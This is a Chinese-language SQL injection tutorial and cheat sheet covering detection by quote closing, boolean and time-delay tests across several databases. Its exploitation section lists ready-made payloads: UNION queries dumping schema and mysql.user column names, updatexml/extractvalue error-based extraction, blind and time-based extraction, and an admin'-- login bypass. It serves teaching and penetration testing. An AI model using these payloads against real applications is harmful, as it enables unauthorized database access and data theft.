SQL 注入
漏洞介绍
SQL 注入(SQLi)是指攻击者将恶意 SQL 片段注入到应用与数据库之间的查询中,导致数据库执行非预期的查询或命令。
基本原理
应用把未受信任的输入直接拼接到 SQL 语句中;攻击者构造特殊输入改变 SQL 的语义,使数据库执行额外查询或修改。例如:拼接用户输入到 SELECT / WHERE / ORDER BY / LIMIT 等位置,或将输入用作逻辑/控制结构的一部分。
检测方法
SQL 注入的检测最主要的就是需要判断语句的闭合符号,只有闭合符号正确了,恶意的 SQL 语句才能被执行。
而如何判断闭合符号则有三种方法可供参考:(1)错误响应:在合规参数的后面附带一些闭合符号时,若页面返回了 SQL 语法错误的响应信息,则可判断此处存在注入。(2)逻辑运算:在合规参数的后面附带一些 and 或 or 的表达式,若表达式为真或假时,返回的响应结果亦不同,则可判断此处存在注入。(3)时间延时:在参数的后面附带一些 包含 sleep 函数的逻辑运算的表达式,若表达式为真或假时,返回响应的时间亦不同,则可判断此处存在注入。
常见的闭合符号如下:
[Nothing] #输入如果是数字类型则无闭合符号
'
"
`
')
")
`)
'))
"))
`))
常见的注释类型如下:
MySQL
#comment
-- comment #双杠后面需要有空格
/*comment*/
/*! MYSQL Special SQL */
Oracle
--comment
PostgreSQL、MSQL、SQLite
--comment
/*comment*/
判断方法 1:错误响应确认语句:
page.php?id=1
page.php?id=1'
page.php?id=1"
page.php?id=1`
判断方法 2:逻辑运算确认语句:
page.php?username=Peter' or '1'='1 若响应与 page.php?username=Peter 无异,则存在注入。
page.php?id=2-1 若响应与 page.php?id=1 无异,则;可能存在注入。
page.php?id=1 or 1=1 -- 条件为真
page.php?id=1 and 1=2 -- 条件为假
page.php?id=1' or 1=1 -- 条件为真
page.php?id=1" or 1=1 -- 条件为真
判断方法 3:时间延时确认语句:
MySQL
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) 语法结构
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10) 用法举例
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) 语法结构
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) 用法举例
利用方法
数据提取方法 1:利用 UNION 语法
#(1)此法首先需要检测列数,以与原表列数相同然后才可以合并
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #False - 此时说明只有 2 个列,于是便可以使用 -1' UNION SELECT 1,2--+ 用法进行数据的提取了。
#(2)开始提取数据库名、表名、列名
#提取所有库名
-1' UniOn Select 1,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#提取 mysql 库的表名
-1' UniOn Select 1,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema='mysql'
#提取 mysql 库的 user 表的列名
-1' UniOn Select 1,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_schema='mysql' and table_name='user'
数据提取方法 2:利用错误响应
#报错查询语法 1:提取当前用户身份
?id=1 or updatexml(1,concat(0x7e,user()),0)
#报错查询语法 1:提取数据库的前 15 个字符
?id=1 or updatexml(1,concat(0x7e,MID((Select gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata),1,15)),0)
#报错查询语法 2:提取当前用户身份
?id=1 or extractvalue(0x0a,concat(0x0a,(select user()))
#报错查询语法 2:提取数据库的前 15 个字符
?id=1 or extractvalue(0x0a,concat(0x0a,(select updatexml(1,concat(0x7e,MID((Select gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata),1,15)),0)))
注:这种报错查询用法输出的信息长度有限制,因此需要借助截断函数 SUBSTR(string,start,length) 或 MID(string,start,length) 使用。例如:执行 select MID("123",1,2) as str 会输出 12。
数据提取方法 3:利用盲注
#判断第一个数据库名的第二个名称是不是 y 字符。【注:此处的库对应的是 mysql 库】
?id=1 AND (SELECT SUBSTR(schema_name,2,1) FROM information_schema.schemata LIMIT 0,1) = 'y'
数据提取方法 4:利用时间盲注
#判断第一个数据库名的第二个名称是不是 y 字符,是的话会延迟5秒返回响应,否的话立马返回响应。【注:此处的库对应的是 mysql 库】
?id=1 and (SELECT IF((SELECT SUBSTR(schema_name,2,1) FROM information_schema.schemata LIMIT 0,1) = 'y',SLEEP(5),0))
数据提取方法 5:借助自动化工具 sqlmap 进行数据提取。
杂七杂八
- 参考文章:HackTricks
- 模糊测试列表:Auto_Wordlists
- sql 万能账户
admin'--,密码框随便填。【注:个别情况下可能是如此。】
参考备用
SQL注入闭合语句:(1)单引号闭合: ' OR '1'='1'(2)双引号闭合: " OR "1"="1"(3)注释符: -- 或 #(4)半角括号闭合: ') OR ('1'='1(5)数字闭合: 1 OR 1=1(6)使用 UNION 注入: ' UNION SELECT 1, 'hacked' --(7)AND 条件组合: ' AND 1=1 --【**闭合判断技巧**:可以根据是否报错来确定闭合符号。假设目的查询语句是 SELECT first_name, last_name FROM users WHERE user_id = '$id',那么当输入的id值为'单引号时,会与原来的闭合产生冲突,而当输入的是“双引号时,其会被当作一个值传入,而不会和原来的闭合产生冲突。 **注意:**当user_id字段是一个int类型,但是传递的值却是一个字串,那么实际传给的数值是这个字串开头的那个数字,如果开头也是一个字串,那么传递的值为0;当user_id字段是一个字串类型,那么where条件中传递的值必须要有''或""包含,至于其外还包含了什么()、""、''都无所谓。**也可以根据输入值大致判断接收变量类型,如果输入是字串那么变量必有特殊字符闭合,如果是数字或数字型的的字串,那么变量可能是 int 类型且闭合字符不确定。此时优先以数字型闭合验证法验证(因为这种方式直接写 sql 语句即可,没有什么特殊字符,也可以避免字符转义影响且验证速度很快)如 0 and 1=1 -- ,假设 0 时无值输出,那么使用 and 1=1 则必有值输出,此时说明就是数字闭合。**】【**常用函数**:(1)ascii('r') 将字符转换为数字;(2)char(114) 将数字转换为字符;(3)concat(id,id2) 连接列字段;(4)group_concat(id1,id2 separator ':') 将行字段连接成一个列;(5)mid(s,n,len) 从字串s的第n位开始截取len长度的字串;(6)sleep(1) 延时1秒;select * from test where id=123 and sleep(1) 当条件匹配时会延迟1秒返回结果。**常用命令**:(1)show create table sky; 查看创建表时的SQL语句。(2)desc tabname | show columns from tabname 查看表结构。(3)show databases;show tables;查看数据库和当前库中的所有表;(4)flush privileges;刷新权限。该命令只有在对权限表进行修改操作时[创建用户、授予权限、修改密码],为了使修改能够立即生效时才会使用该命令进行修改。(5)】
SQL注入类型:(1)select 注入:(2)insert/update/delete 注入(这类语句必须要有正确的闭合一般一定会包含)号。):利用admin'or **extractvalue**(0x0a,concat(0x0a,(select user()))报错查询输出,此时可认为or后面的语句和admin字串是一体的;利用admin'or **updatexml**(1,concat(0x7e,user()),0)也是报错查询输出,用法同上;(3)[参考链接](http://www.admintony.com/SQL注入-insert、update、delete注入.html)。